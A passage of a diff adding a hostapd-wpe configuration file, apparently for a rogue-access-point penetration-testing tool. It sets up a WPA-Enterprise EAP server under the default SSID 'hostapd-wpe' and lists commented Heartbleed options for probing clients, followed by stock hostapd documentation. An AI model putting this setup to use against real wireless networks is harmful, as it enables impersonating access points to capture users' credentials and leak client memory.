++dh_file=/etc/hostapd-wpe/dh
++
++# 802.11 Options
++ssid=hostapd-wpe
++channel=1
++
++# WPE Options - Dont need to change these to make it all work 
++#
++# wpe_logfile=somefile              # (Default: ./hostapd-wpe.log) 
++# wpe_hb_send_before_handshake=0    # Heartbleed True/False (Default: 1)
++# wpe_hb_send_before_appdata=0      # Heartbleed True/False (Default: 0) 
++# wpe_hb_send_after_appdata=0       # Heartbleed True/False (Default: 0)
++# wpe_hb_payload_size=0             # Heartbleed 0-65535 (Default: 50000)
++# wpe_hb_num_repeats=0              # Heartbleed 0-65535 (Default: 1)
++# wpe_hb_num_tries=0                # Heartbleed 0-65535 (Default: 1)
++
++
++# Dont mess with unless you know what you're doing
++eap_server=1
++eap_fast_a_id=101112131415161718191a1b1c1d1e1f
++eap_fast_a_id_info=hostapd-wpe
++eap_fast_prov=3
++ieee8021x=1
++pac_key_lifetime=604800
++pac_key_refresh_time=86400
++pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f
++wpa=2
++wpa_key_mgmt=WPA-EAP
++wpa_pairwise=CCMP
++rsn_pairwise=CCMP
++
++##############################################################################
++# Everything below this line is pretty much the standard hostapd.conf
++###############################################################################
++
++##### hostapd configuration file ##############################################
++# Empty lines and lines starting with # are ignored
++
++# AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for
++# management frames with the Host AP driver); wlan0 with many nl80211 drivers
++# Note: This attribute can be overridden by the values supplied with the '-i'
++# command line parameter.
++#interface=wlan0
++
++# In case of atheros and nl80211 driver interfaces, an additional
++# configuration parameter, bridge, may be used to notify hostapd if the
++# interface is included in a bridge. This parameter is not used with Host AP
++# driver. If the bridge parameter is not set, the drivers will automatically
++# figure out the bridge interface (assuming sysfs is enabled and mounted to
++# /sys) and this parameter may not be needed.
++#
++# For nl80211, this parameter can be used to request the AP interface to be
++# added to the bridge automatically (brctl may refuse to do this before hostapd
++# has been started to change the interface mode). If needed, the bridge
++# interface is also created.
++#bridge=br0
++
++# Driver interface type (hostap/wired/none/nl80211/bsd);
++# default: hostap). nl80211 is used with all Linux mac80211 drivers.
++# Use driver=none if building hostapd as a standalone RADIUS server that does
++# not control any wireless/wired driver.
++# driver=hostap
++
++# Driver interface parameters (mainly for development testing use)
++# driver_params=<params>
++
++# hostapd event logger configuration
++#
++# Two output method: syslog and stdout (only usable if not forking to
++# background).
++#
++# Module bitfield (ORed bitfield of modules that will be logged; -1 = all
++# modules):
++# bit 0 (1) = IEEE 802.11
++# bit 1 (2) = IEEE 802.1X
++# bit 2 (4) = RADIUS
++# bit 3 (8) = WPA
++# bit 4 (16) = driver interface
++# bit 5 (32) = IAPP
++# bit 6 (64) = MLME
++#
++# Levels (minimum value for logged events):
++#  0 = verbose debugging
++#  1 = debugging
++#  2 = informational messages
++#  3 = notification
++#  4 = warning
++#
++logger_syslog=-1
++logger_syslog_level=2
++logger_stdout=-1
++logger_stdout_level=2
++
++# Interface for separate control program. If this is specified, hostapd
++# will create this directory and a UNIX domain socket for listening to requests
++# from external programs (CLI/GUI, etc.) for status information and
++# configuration. The socket file will be named based on the interface name, so
++# multiple hostapd processes/interfaces can be run at the same time if more
++# than one interface is used.
++# /var/run/hostapd is the recommended directory for sockets and by default,
++# hostapd_cli will use it when trying to connect with hostapd.
++ctrl_interface=/var/run/hostapd
++
++# Access control for the control interface can be configured by setting the
++# directory to allow only members of a group to use sockets. This way, it is
++# possible to run hostapd as root (since it needs to change network
++# configuration and open raw sockets) and still allow GUI/CLI components to be
++# run as non-root users. However, since the control interface can be used to
++# change the network configuration, this access needs to be protected in many
++# cases. By default, hostapd is configured to use gid 0 (root). If you
++# want to allow non-root users to use the contron interface, add a new group
++# and change this value to match with that group. Add users that should have
++# control interface access to this group.
++#
++# This variable can be a group name or gid.
++#ctrl_interface_group=wheel
++ctrl_interface_group=0
++
++
++##### IEEE 802.11 related configuration #######################################
++
++# SSID to be used in IEEE 802.11 management frames
++#ssid=test
++# Alternative formats for configuring SSID
++# (double quoted string, hexdump, printf-escaped string)
++#ssid2="test"
++#ssid2=74657374
++#ssid2=P"hello\nthere"
++
++# UTF-8 SSID: Whether the SSID is to be interpreted using UTF-8 encoding
++#utf8_ssid=1
++
++# Country code (ISO/IEC 3166-1). Used to set regulatory domain.
++# Set as needed to indicate country in which device is operating.
++# This can limit available channels and transmit power.
++#country_code=US
++
++# Enable IEEE 802.11d. This advertises the country_code and the set of allowed
++# channels and transmit power levels based on the regulatory limits. The
++# country_code setting must be configured with the correct country for
++# IEEE 802.11d functions.
++# (default: 0 = disabled)
++#ieee80211d=1
++
++# Enable IEEE 802.11h. This enables radar detection and DFS support if
++# available. DFS support is required on outdoor 5 GHz channels in most countries
++# of the world. This can be used only with ieee80211d=1.
++# (default: 0 = disabled)
++#ieee80211h=1
++
++# Add Power Constraint element to Beacon and Probe Response frames
++# This config option adds Power Constraint element when applicable and Country
++# element is added. Power Constraint element is required by Transmit Power
++# Control. This can be used only with ieee80211d=1.
++# Valid values are 0..255.
++#local_pwr_constraint=3
++
++# Set Spectrum Management subfield in the Capability Information field.
++# This config option forces the Spectrum Management bit to be set. When this
++# option is not set, the value of the Spectrum Management bit depends on whether
++# DFS or TPC is required by regulatory authorities. This can be used only with
++# ieee80211d=1 and local_pwr_constraint configured.
++#spectrum_mgmt_required=1
++
++# Operation mode (a = IEEE 802.11a (5 GHz), b = IEEE 802.11b (2.4 GHz),
++# g = IEEE 802.11g (2.4 GHz), ad = IEEE 802.11ad (60 GHz); a/g options are used
++# with IEEE 802.11n (HT), too, to specify band). For IEEE 802.11ac (VHT), this
++# needs to be set to hw_mode=a. When using ACS (see channel parameter), a
++# special value "any" can be used to indicate that any support band can be used.
++# This special case is currently supported only with drivers with which
++# offloaded ACS is used.
++# Default: IEEE 802.11b
++hw_mode=g
++
++# Channel number (IEEE 802.11)
++# (default: 0, i.e., not set)
++# Please note that some drivers do not use this value from hostapd and the
++# channel will need to be configured separately with iwconfig.
++#
++# If CONFIG_ACS build option is enabled, the channel can be selected
++# automatically at run time by setting channel=acs_survey or channel=0, both of
++# which will enable the ACS survey based algorithm.
++#channel=1
++
++# ACS tuning - Automatic Channel Selection
++# See: http://wireless.kernel.org/en/users/Documentation/acs
++#
++# You can customize the ACS survey algorithm with following variables:
++#
++# acs_num_scans requirement is 1..100 - number of scans to be performed that
++# are used to trigger survey data gathering of an underlying device driver.
++# Scans are passive and typically take a little over 100ms (depending on the
++# driver) on each available channel for given hw_mode. Increasing this value
++# means sacrificing startup time and gathering more data wrt channel
++# interference that may help choosing a better channel. This can also help fine
++# tune the ACS scan time in case a driver has different scan dwell times.
++#
++# acs_chan_bias is a space-separated list of <channel>:<bias> pairs. It can be
++# used to increase (or decrease) the likelihood of a specific channel to be
++# selected by the ACS algorithm. The total interference factor for each channel
++# gets multiplied by the specified bias value before finding the channel with
++# the lowest value. In other words, values between 0.0 and 1.0 can be used to
++# make a channel more likely to be picked while values larger than 1.0 make the
++# specified channel less likely to be picked. This can be used, e.g., to prefer
++# the commonly used 2.4 GHz band channels 1, 6, and 11 (which is the default
++# behavior on 2.4 GHz band if no acs_chan_bias parameter is specified).
++#
++# Defaults:
++#acs_num_scans=5
++#acs_chan_bias=1:0.8 6:0.8 11:0.8
++
++# Channel list restriction. This option allows hostapd to select one of the
++# provided channels when a channel should be automatically selected.
++# Channel list can be provided as range using hyphen ('-') or individual
++# channels can be specified by space (' ') separated values
++# Default: all channels allowed in selected hw_mode
++#chanlist=100 104 108 112 116
++#chanlist=1 6 11-13
++
++# Beacon interval in kus (1.024 ms) (default: 100; range 15..65535)
++beacon_int=100
++
++# DTIM (delivery traffic information message) period (range 1..255):
++# number of beacons between DTIMs (1 = every beacon includes DTIM element)
++# (default: 2)
++dtim_period=2
++
++# Maximum number of stations allowed in station table. New stations will be
++# rejected after the station table is full. IEEE 802.11 has a limit of 2007
++# different association IDs, so this number should not be larger than that.
++# (default: 2007)
++max_num_sta=255
++
++# RTS/CTS threshold; -1 = disabled (default); range -1..65535
++# If this field is not included in hostapd.conf, hostapd will not control
++# RTS threshold and 'iwconfig wlan# rts <val>' can be used to set it.
++rts_threshold=-1
++
++# Fragmentation threshold; -1 = disabled (default); range -1, 256..2346
++# If this field is not included in hostapd.conf, hostapd will not control
++# fragmentation threshold and 'iwconfig wlan# frag <val>' can be used to set
++# it.
++fragm_threshold=-1
++
++# Rate configuration
++# Default is to enable all rates supported by the hardware. This configuration
++# item allows this list be filtered so that only the listed rates will be left
++# in the list. If the list is empty, all rates are used. This list can have
++# entries that are not in the list of rates the hardware supports (such entries
++# are ignored). The entries in this list are in 100 kbps, i.e., 11 Mbps = 110.
++# If this item is present, at least one rate have to be matching with the rates
++# hardware supports.
++# default: use the most common supported rate setting for the selected
++# hw_mode (i.e., this line can be removed from configuration file in most
++# cases)
++#supported_rates=10 20 55 110 60 90 120 180 240 360 480 540
++
++# Basic rate set configuration
++# List of rates (in 100 kbps) that are included in the basic rate set.
++# If this item is not included, usually reasonable default set is used.
++#basic_rates=10 20
++#basic_rates=10 20 55 110
++#basic_rates=60 120 240
++
++# Short Preamble
++# This parameter can be used to enable optional use of short preamble for
++# frames sent at 2 Mbps, 5.5 Mbps, and 11 Mbps to improve network performance.
++# This applies only to IEEE 802.11b-compatible networks and this should only be
++# enabled if the local hardware supports use of short preamble. If any of the
++# associated STAs do not support short preamble, use of short preamble will be
++# disabled (and enabled when such STAs disassociate) dynamically.
++# 0 = do not allow use of short preamble (default)
++# 1 = allow use of short preamble
++#preamble=1
++
++# Station MAC address -based authentication
++# Please note that this kind of access control requires a driver that uses
++# hostapd to take care of management frame processing and as such, this can be
++# used with driver=hostap or driver=nl80211, but not with driver=atheros.
++# 0 = accept unless in deny list
++# 1 = deny unless in accept list
++# 2 = use external RADIUS server (accept/deny lists are searched first)
++macaddr_acl=0
++
++# Accept/deny lists are read from separate files (containing list of
++# MAC addresses, one per line). Use absolute path name to make sure that the
++# files can be read on SIGHUP configuration reloads.
++#accept_mac_file=/etc/hostapd.accept
++#deny_mac_file=/etc/hostapd.deny
++
++# IEEE 802.11 specifies two authentication algorithms. hostapd can be
++# configured to allow both of these or only one. Open system authentication
++# should be used with IEEE 802.1X.
++# Bit fields of allowed authentication algorithms:
++# bit 0 = Open System Authentication
++# bit 1 = Shared Key Authentication (requires WEP)
++auth_algs=3
++
++# Send empty SSID in beacons and ignore probe request frames that do not
++# specify full SSID, i.e., require stations to know SSID.
++# default: disabled (0)
++# 1 = send empty (length=0) SSID in beacon and ignore probe request for
++#     broadcast SSID
++# 2 = clear SSID (ASCII 0), but keep the original length (this may be required
++#     with some clients that do not support empty SSID) and ignore probe
++#     requests for broadcast SSID
++ignore_broadcast_ssid=0
++
++# Do not reply to broadcast Probe Request frames from unassociated STA if there
++# is no room for additional stations (max_num_sta). This can be used to
++# discourage a STA from trying to associate with this AP if the association
++# would be rejected due to maximum STA limit.
++# Default: 0 (disabled)
++#no_probe_resp_if_max_sta=0
++
++# Additional vendor specific elements for Beacon and Probe Response frames
++# This parameter can be used to add additional vendor specific element(s) into
++# the end of the Beacon and Probe Response frames. The format for these
++# element(s) is a hexdump of the raw information elements (id+len+payload for
++# one or more elements)
++#vendor_elements=dd0411223301
++
++# Additional vendor specific elements for (Re)Association Response frames
++# This parameter can be used to add additional vendor specific element(s) into
++# the end of the (Re)Association Response frames. The format for these
++# element(s) is a hexdump of the raw information elements (id+len+payload for
++# one or more elements)
++#assocresp_elements=dd0411223301
++
++# TX queue parameters (EDCF / bursting)
++# tx_queue_<queue name>_<param>
++# queues: data0, data1, data2, data3, after_beacon, beacon
++#		(data0 is the highest priority queue)
++# parameters:
++#   aifs: AIFS (default 2)
++#   cwmin: cwMin (1, 3, 7, 15, 31, 63, 127, 255, 511, 1023, 2047, 4095, 8191,
++#	   16383, 32767)
++#   cwmax: cwMax (same values as cwMin, cwMax >= cwMin)
++#   burst: maximum length (in milliseconds with precision of up to 0.1 ms) for
++#          bursting
++#
++# Default WMM parameters (IEEE 802.11 draft; 11-03-0504-03-000e):
++# These parameters are used by the access point when transmitting frames
++# to the clients.
++#
++# Low priority / AC_BK = background
++#tx_queue_data3_aifs=7
++#tx_queue_data3_cwmin=15
++#tx_queue_data3_cwmax=1023
++#tx_queue_data3_burst=0
++# Note: for IEEE 802.11b mode: cWmin=31 cWmax=1023 burst=0
++#
++# Normal priority / AC_BE = best effort
++#tx_queue_data2_aifs=3
++#tx_queue_data2_cwmin=15
++#tx_queue_data2_cwmax=63
++#tx_queue_data2_burst=0
++# Note: for IEEE 802.11b mode: cWmin=31 cWmax=127 burst=0
++#
++# High priority / AC_VI = video
++#tx_queue_data1_aifs=1
++#tx_queue_data1_cwmin=7
++#tx_queue_data1_cwmax=15
++#tx_queue_data1_burst=3.0
++# Note: for IEEE 802.11b mode: cWmin=15 cWmax=31 burst=6.0
++#
++# Highest priority / AC_VO = voice
++#tx_queue_data0_aifs=1
++#tx_queue_data0_cwmin=3
++#tx_queue_data0_cwmax=7
++#tx_queue_data0_burst=1.5
++# Note: for IEEE 802.11b mode: cWmin=7 cWmax=15 burst=3.3
++
++# 802.1D Tag (= UP) to AC mappings
++# WMM specifies following mapping of data frames to different ACs. This mapping
++# can be configured using Linux QoS/tc and sch_pktpri.o module.
++# 802.1D Tag	802.1D Designation	Access Category	WMM Designation
++# 1		BK			AC_BK		Background
++# 2		-			AC_BK		Background
++# 0		BE			AC_BE		Best Effort
++# 3		EE			AC_BE		Best Effort
++# 4		CL			AC_VI		Video
++# 5		VI			AC_VI		Video
++# 6		VO			AC_VO		Voice
++# 7		NC			AC_VO		Voice
++# Data frames with no priority information: AC_BE
++# Management frames: AC_VO
++# PS-Poll frames: AC_BE
++
++# Default WMM parameters (IEEE 802.11 draft; 11-03-0504-03-000e):
++# for 802.11a or 802.11g networks
++# These parameters are sent to WMM clients when they associate.
++# The parameters will be used by WMM clients for frames transmitted to the
++# access point.
++#
++# note - txop_limit is in units of 32microseconds
++# note - acm is admission control mandatory flag. 0 = admission control not
++# required, 1 = mandatory
++# note - Here cwMin and cmMax are in exponent form. The actual cw value used
++# will be (2^n)-1 where n is the value given here. The allowed range for these
++# wmm_ac_??_{cwmin,cwmax} is 0..15 with cwmax >= cwmin.
++#
++wmm_enabled=1
++#
++# WMM-PS Unscheduled Automatic Power Save Delivery U-APSD
++# Enable this flag if U-APSD supported outside hostapd (eg., Firmware/driver)
++#uapsd_advertisement_enabled=1
++#
++# Low priority / AC_BK = background
++wmm_ac_bk_cwmin=4
++wmm_ac_bk_cwmax=10
++wmm_ac_bk_aifs=7
++wmm_ac_bk_txop_limit=0
++wmm_ac_bk_acm=0
++# Note: for IEEE 802.11b mode: cWmin=5 cWmax=10
++#
++# Normal priority / AC_BE = best effort
++wmm_ac_be_aifs=3
++wmm_ac_be_cwmin=4
++wmm_ac_be_cwmax=10
++wmm_ac_be_txop_limit=0
++wmm_ac_be_acm=0
++# Note: for IEEE 802.11b mode: cWmin=5 cWmax=7
++#
++# High priority / AC_VI = video
++wmm_ac_vi_aifs=2
++wmm_ac_vi_cwmin=3
++wmm_ac_vi_cwmax=4
++wmm_ac_vi_txop_limit=94
++wmm_ac_vi_acm=0
++# Note: for IEEE 802.11b mode: cWmin=4 cWmax=5 txop_limit=188
++#
++# Highest priority / AC_VO = voice
++wmm_ac_vo_aifs=2
++wmm_ac_vo_cwmin=2
++wmm_ac_vo_cwmax=3
++wmm_ac_vo_txop_limit=47
++wmm_ac_vo_acm=0
++# Note: for IEEE 802.11b mode: cWmin=3 cWmax=4 burst=102
++
++# Static WEP key configuration
++#
++# The key number to use when transmitting.
++# It must be between 0 and 3, and the corresponding key must be set.
++# default: not set
++#wep_default_key=0
++# The WEP keys to use.
++# A key may be a quoted string or unquoted hexadecimal digits.
++# The key length should be 5, 13, or 16 characters, or 10, 26, or 32
++# digits, depending on whether 40-bit (64-bit), 104-bit (128-bit), or
++# 128-bit (152-bit) WEP is used.
++# Only the default key must be supplied; the others are optional.
++# default: not set
++#wep_key0=123456789a
++#wep_key1="vwxyz"
++#wep_key2=0102030405060708090a0b0c0d
++#wep_key3=".2.4.6.8.0.23"
++
++# Station inactivity limit
++#
++# If a station does not send anything in ap_max_inactivity seconds, an
++# empty data frame is sent to it in order to verify whether it is
++# still in range. If this frame is not ACKed, the station will be
++# disassociated and then deauthenticated. This feature is used to
++# clear station table of old entries when the STAs move out of the
++# range.
++#
++# The station can associate again with the AP if it is still in range;
++# this inactivity poll is just used as a nicer way of verifying
++# inactivity; i.e., client will not report broken connection because
++# disassociation frame is not sent immediately without first polling
++# the STA with a data frame.
++# default: 300 (i.e., 5 minutes)
++#ap_max_inactivity=300
++#
++# The inactivity polling can be disabled to disconnect stations based on
++# inactivity timeout so that idle stations are more likely to be disconnected
++# even if they are still in range of the AP. This can be done by setting
++# skip_inactivity_poll to 1 (default 0).
++#skip_inactivity_poll=0
++
++# Disassociate stations based on excessive transmission failures or other
++# indications of connection loss. This depends on the driver capabilities and
++# may not be available with all drivers.
++#disassoc_low_ack=1
++
++# Maximum allowed Listen Interval (how many Beacon periods STAs are allowed to
++# remain asleep). Default: 65535 (no limit apart from field size)
++#max_listen_interval=100
++
++# WDS (4-address frame) mode with per-station virtual interfaces
++# (only supported with driver=nl80211)
++# This mode allows associated stations to use 4-address frames to allow layer 2
++# bridging to be used.
++#wds_sta=1
++
++# If bridge parameter is set, the WDS STA interface will be added to the same
++# bridge by default. This can be overridden with the wds_bridge parameter to
++# use a separate bridge.
++#wds_bridge=wds-br0
++
++# Start the AP with beaconing disabled by default.
++#start_disabled=0
++
++# Client isolation can be used to prevent low-level bridging of frames between
++# associated stations in the BSS. By default, this bridging is allowed.
++#ap_isolate=1
++
++# BSS Load update period (in BUs)
++# This field is used to enable and configure adding a BSS Load element into
++# Beacon and Probe Response frames.
++#bss_load_update_period=50
++
++# Fixed BSS Load value for testing purposes
++# This field can be used to configure hostapd to add a fixed BSS Load element
++# into Beacon and Probe Response frames for testing purposes. The format is
++# <station count>:<channel utilization>:<available admission capacity>
++#bss_load_test=12:80:20000
++
++##### IEEE 802.11n related configuration ######################################
++
++# ieee80211n: Whether IEEE 802.11n (HT) is enabled
++# 0 = disabled (default)
++# 1 = enabled
++# Note: You will also need to enable WMM for full HT functionality.
++# Note: hw_mode=g (2.4 GHz) and hw_mode=a (5 GHz) is used to specify the band.
++#ieee80211n=1
++
++# ht_capab: HT capabilities (list of flags)
++# LDPC coding capability: LDPC = supported
++# Supported channel width set: HT40- = both 20 MHz and 40 MHz with secondary
++#	channel below the primary channel; HT40+ = both 20 MHz and 40 MHz
++#	with secondary channel above the primary channel
++#	(20 MHz only if neither is set)
++#	Note: There are limits on which channels can be used with HT40- and
++#	HT40+. Following table shows the channels that may be available for
++#	HT40- and HT40+ use per IEEE 802.11n Annex J:
++#	freq		HT40-		HT40+
++#	2.4 GHz		5-13		1-7 (1-9 in Europe/Japan)
++#	5 GHz		40,48,56,64	36,44,52,60
++#	(depending on the location, not all of these channels may be available
++#	for use)
++#	Please note that 40 MHz channels may switch their primary and secondary
++#	channels if needed or creation of 40 MHz channel maybe rejected based
++#	on overlapping BSSes. These changes are done automatically when hostapd
++#	is setting up the 40 MHz channel.
++# Spatial Multiplexing (SM) Power Save: SMPS-STATIC or SMPS-DYNAMIC
++#	(SMPS disabled if neither is set)
++# HT-greenfield: GF (disabled if not set)
++# Short GI for 20 MHz: SHORT-GI-20 (disabled if not set)
++# Short GI for 40 MHz: SHORT-GI-40 (disabled if not set)
++# Tx STBC: TX-STBC (disabled if not set)
++# Rx STBC: RX-STBC1 (one spatial stream), RX-STBC12 (one or two spatial
++#	streams), or RX-STBC123 (one, two, or three spatial streams); Rx STBC
++#	disabled if none of these set
++# HT-delayed Block Ack: DELAYED-BA (disabled if not set)
++# Maximum A-MSDU length: MAX-AMSDU-7935 for 7935 octets (3839 octets if not
++#	set)
++# DSSS/CCK Mode in 40 MHz: DSSS_CCK-40 = allowed (not allowed if not set)
++# 40 MHz intolerant 40-INTOLERANT (not advertised if not set)
++# L-SIG TXOP protection support: LSIG-TXOP-PROT (disabled if not set)
++#ht_capab=HT40-SHORT-GI-20SHORT-GI-40
++
++# Require stations to support HT PHY (reject association if they do not)
++#require_ht=1
++
++# If set non-zero, require stations to perform scans of overlapping
++# channels to test for stations which would be affected by 40 MHz traffic.
++# This parameter sets the interval in seconds between these scans. Setting this
++# to non-zero allows 2.4 GHz band AP to move dynamically to a 40 MHz channel if
++# no co-existence issues with neighboring devices are found.
++#obss_interval=0
++
++##### IEEE 802.11ac related configuration #####################################
++
++# ieee80211ac: Whether IEEE 802.11ac (VHT) is enabled
++# 0 = disabled (default)
++# 1 = enabled
++# Note: You will also need to enable WMM for full VHT functionality.
++# Note: hw_mode=a is used to specify that 5 GHz band is used with VHT.
++#ieee80211ac=1
++
++# vht_capab: VHT capabilities (list of flags)
++#
++# vht_max_mpdu_len: MAX-MPDU-7991 MAX-MPDU-11454
++# Indicates maximum MPDU length
++# 0 = 3895 octets (default)
++# 1 = 7991 octets
++# 2 = 11454 octets
++# 3 = reserved
++#
++# supported_chan_width: VHT160 VHT160-80PLUS80
++# Indicates supported Channel widths
++# 0 = 160 MHz & 80+80 channel widths are not supported (default)
++# 1 = 160 MHz channel width is supported
++# 2 = 160 MHz & 80+80 channel widths are supported
++# 3 = reserved
++#
++# Rx LDPC coding capability: RXLDPC
++# Indicates support for receiving LDPC coded pkts
++# 0 = Not supported (default)
++# 1 = Supported
++#
++# Short GI for 80 MHz: SHORT-GI-80
++# Indicates short GI support for reception of packets transmitted with TXVECTOR
++# params format equal to VHT and CBW = 80Mhz
++# 0 = Not supported (default)
++# 1 = Supported
++#
++# Short GI for 160 MHz: SHORT-GI-160
++# Indicates short GI support for reception of packets transmitted with TXVECTOR
++# params format equal to VHT and CBW = 160Mhz
++# 0 = Not supported (default)
++# 1 = Supported
++#
++# Tx STBC: TX-STBC-2BY1
++# Indicates support for the transmission of at least 2x1 STBC
++# 0 = Not supported (default)
++# 1 = Supported
++#
++# Rx STBC: RX-STBC-1 RX-STBC-12 RX-STBC-123 RX-STBC-1234
++# Indicates support for the reception of PPDUs using STBC
++# 0 = Not supported (default)
++# 1 = support of one spatial stream
++# 2 = support of one and two spatial streams
++# 3 = support of one, two and three spatial streams
++# 4 = support of one, two, three and four spatial streams
++# 5,6,7 = reserved
++#
++# SU Beamformer Capable: SU-BEAMFORMER
++# Indicates support for operation as a single user beamformer
++# 0 = Not supported (default)
++# 1 = Supported
++#
++# SU Beamformee Capable: SU-BEAMFORMEE
++# Indicates support for operation as a single user beamformee
++# 0 = Not supported (default)
++# 1 = Supported
++#
++# Compressed Steering Number of Beamformer Antennas Supported:
++# BF-ANTENNA-2 BF-ANTENNA-3 BF-ANTENNA-4
++#   Beamformee's capability indicating the maximum number of beamformer
++#   antennas the beamformee can support when sending compressed beamforming
++#   feedback
++# If SU beamformer capable, set to maximum value minus 1
++# else reserved (default)
++#
++# Number of Sounding Dimensions:
++# SOUNDING-DIMENSION-2 SOUNDING-DIMENSION-3 SOUNDING-DIMENSION-4
++# Beamformer's capability indicating the maximum value of the NUM_STS parameter
++# in the TXVECTOR of a VHT NDP
++# If SU beamformer capable, set to maximum value minus 1
++# else reserved (default)
++#
++# MU Beamformer Capable: MU-BEAMFORMER
++# Indicates support for operation as an MU beamformer
++# 0 = Not supported or sent by Non-AP STA (default)
++# 1 = Supported
++#
++# VHT TXOP PS: VHT-TXOP-PS
++# Indicates whether or not the AP supports VHT TXOP Power Save Mode
++#  or whether or not the STA is in VHT TXOP Power Save mode
++# 0 = VHT AP doesn't support VHT TXOP PS mode (OR) VHT STA not in VHT TXOP PS
++#  mode
++# 1 = VHT AP supports VHT TXOP PS mode (OR) VHT STA is in VHT TXOP power save
++#  mode
++#
++# +HTC-VHT Capable: HTC-VHT
++# Indicates whether or not the STA supports receiving a VHT variant HT Control
++# field.
++# 0 = Not supported (default)
++# 1 = supported
++#
++# Maximum A-MPDU Length Exponent: MAX-A-MPDU-LEN-EXP0..MAX-A-MPDU-LEN-EXP7
++# Indicates the maximum length of A-MPDU pre-EOF padding that the STA can recv
++# This field is an integer in the range of 0 to 7.
++# The length defined by this field is equal to
++# 2 pow(13 + Maximum A-MPDU Length Exponent) -1 octets
++#
++# VHT Link Adaptation Capable: VHT-LINK-ADAPT2 VHT-LINK-ADAPT3
++# Indicates whether or not the STA supports link adaptation using VHT variant
++# HT Control field
++# If +HTC-VHTcapable is 1
++#  0 = (no feedback) if the STA does not provide VHT MFB (default)
++#  1 = reserved
++#  2 = (Unsolicited) if the STA provides only unsolicited VHT MFB
++#  3 = (Both) if the STA can provide VHT MFB in response to VHT MRQ and if the
++#      STA provides unsolicited VHT MFB
++# Reserved if +HTC-VHTcapable is 0
++#
++# Rx Antenna Pattern Consistency: RX-ANTENNA-PATTERN
++# Indicates the possibility of Rx antenna pattern change
++# 0 = Rx antenna pattern might change during the lifetime of an association
++# 1 = Rx antenna pattern does not change during the lifetime of an association
++#
++# Tx Antenna Pattern Consistency: TX-ANTENNA-PATTERN
++# Indicates the possibility of Tx antenna pattern change
++# 0 = Tx antenna pattern might change during the lifetime of an association
++# 1 = Tx antenna pattern does not change during the lifetime of an association
++#vht_capab=SHORT-GI-80HTC-VHT
++#
++# Require stations to support VHT PHY (reject association if they do not)
++#require_vht=1
++
++# 0 = 20 or 40 MHz operating Channel width
++# 1 = 80 MHz channel width
++# 2 = 160 MHz channel width
++# 3 = 80+80 MHz channel width
++#vht_oper_chwidth=1
++#
++# center freq = 5 GHz + (5 * index)
++# So index 42 gives center freq 5.210 GHz
++# which is channel 42 in 5G band
++#
++#vht_oper_centr_freq_seg0_idx=42
++#
++# center freq = 5 GHz + (5 * index)
++# So index 159 gives center freq 5.795 GHz
++# which is channel 159 in 5G band
++#
++#vht_oper_centr_freq_seg1_idx=159
++
++# Workaround to use station's nsts capability in (Re)Association Response frame
++# This may be needed with some deployed devices as an interoperability
++# workaround for beamforming if the AP's capability is greater than the
++# station's capability. This is disabled by default and can be enabled by
++# setting use_sta_nsts=1.
++#use_sta_nsts=0
++
++##### IEEE 802.1X-2004 related configuration ##################################
++
++# Require IEEE 802.1X authorization
++#ieee8021x=1
++
++# IEEE 802.1X/EAPOL version
++# hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL
++# version 2. However, there are many client implementations that do not handle
++# the new version number correctly (they seem to drop the frames completely).
++# In order to make hostapd interoperate with these clients, the version number
++# can be set to the older version (1) with this configuration value.
++#eapol_version=2
++
++# Optional displayable message sent with EAP Request-Identity. The first \0
++# in this string will be converted to ASCII-0 (nul). This can be used to
++# separate network info (comma separated list of attribute=value pairs); see,
++# e.g., RFC 4284.
++#eap_message=hello
++#eap_message=hello\0networkid=netw,nasid=foo,portid=0,NAIRealms=example.com
++
++# WEP rekeying (disabled if key lengths are not set or are set to 0)
++# Key lengths for default/broadcast and individual/unicast keys:
++# 5 = 40-bit WEP (also known as 64-bit WEP with 40 secret bits)
++# 13 = 104-bit WEP (also known as 128-bit WEP with 104 secret bits)
++#wep_key_len_broadcast=5
++#wep_key_len_unicast=5
++# Rekeying period in seconds. 0 = do not rekey (i.e., set keys only once)
++#wep_rekey_period=300
++
++# EAPOL-Key index workaround (set bit7) for WinXP Supplicant (needed only if
++# only broadcast keys are used)
++eapol_key_index_workaround=0
++
++# EAP reauthentication period in seconds (default: 3600 seconds; 0 = disable
++# reauthentication).
++#eap_reauth_period=3600
++
++# Use PAE group address (01:80:c2:00:00:03) instead of individual target
++# address when sending EAPOL frames with driver=wired. This is the most common
++# mechanism used in wired authentication, but it also requires that the port
++# is only used by one station.
++#use_pae_group_addr=1
++
++# EAP Re-authentication Protocol (ERP) authenticator (RFC 6696)
++#
++# Whether to initiate EAP authentication with EAP-Initiate/Re-auth-Start before
++# EAP-Identity/Request
++#erp_send_reauth_start=1
++#
++# Domain name for EAP-Initiate/Re-auth-Start. Omitted from the message if not
++# set (no local ER server). This is also used by the integrated EAP server if
++# ERP is enabled (eap_server_erp=1).
++#erp_domain=example.com
++
++##### Integrated EAP server ###################################################
++
++# Optionally, hostapd can be configured to use an integrated EAP server
++# to process EAP authentication locally without need for an external RADIUS
++# server. This functionality can be used both as a local authentication server
++# for IEEE 802.1X/EAPOL and as a RADIUS server for other devices.
++
++# Use integrated EAP server instead of external RADIUS authentication
++# server. This is also needed if hostapd is configured to act as a RADIUS
++# authentication server.
++#eap_server=0
++
++# Path for EAP server user database
++# If SQLite support is included, this can be set to "sqlite:/path/to/sqlite.db"
++# to use SQLite database instead of a text file.
++#eap_user_file=/etc/hostapd.eap_user
++
++# CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
++#ca_cert=/etc/hostapd.ca.pem
++
++# Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
++#server_cert=/etc/hostapd.server.pem
++
++# Private key matching with the server certificate for EAP-TLS/PEAP/TTLS
++# This may point to the same file as server_cert if both certificate and key
++# are included in a single file. PKCS#12 (PFX) file (.p12/.pfx) can also be
++# used by commenting out server_cert and specifying the PFX file as the
++# private_key.
++#private_key=/etc/hostapd.server.prv
++
++# Passphrase for private key
++#private_key_passwd=secret passphrase
++
++# Server identity
++# EAP methods that provide mechanism for authenticated server identity delivery
++# use this value. If not set, "hostapd" is used as a default.
++#server_id=server.example.com
++
++# Enable CRL verification.
++# Note: hostapd does not yet support CRL downloading based on CDP. Thus, a
++# valid CRL signed by the CA is required to be included in the ca_cert file.
++# This can be done by using PEM format for CA certificate and CRL and
++# concatenating these into one file. Whenever CRL changes, hostapd needs to be
++# restarted to take the new CRL into use.
++# 0 = do not verify CRLs (default)
